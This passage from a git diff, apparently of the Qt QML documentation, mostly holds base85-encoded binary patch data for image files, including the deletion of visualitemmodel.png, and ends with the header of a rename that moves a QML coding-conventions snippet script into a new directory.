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

EgvOuc~`a-osO+lX+gs57z*Er(NPmYdXRr^ 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 I_&-_uA5H|{3jhEB diff --git a/src/qml/doc/images/visualitemmodel.png b/src/qml/doc/images/visualitemmodel.png deleted file mode 100644 index 5e6d1325b2c9919e7823026936c463a172248ded..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 347 zcmeAS@N?(olHy`uVBq!ia0vp^2|%2|!2~25S0;fd=3*z$5DpHG+YkL80J)q69+AZi z4BWyX%*Zfnjs#HfpQnpsNX4ADcMkG4JMb_#@{wF|k`P0-j7+?fA#dFksranI)L zt=OO0b6i6}goBHPwTa2Gae+gC0&(2r+B(}q<-Y49ZxN{h&2-cKJtJkkxuRm-lLg^De-UVDNPHb6Mw<&;$VICRh;w diff --git a/doc/src/snippets/qml/codingconventions/myscript.js b/src/qml/doc/snippets/qml/codingconventions/myscript.js similarity index 78% rename from doc/src/snippets/qml/codingconventions/myscript.js rename to src/qml/doc/snippets/qml/codingconventions/myscript.js index e7f83c2..cfa6462 100644 --- 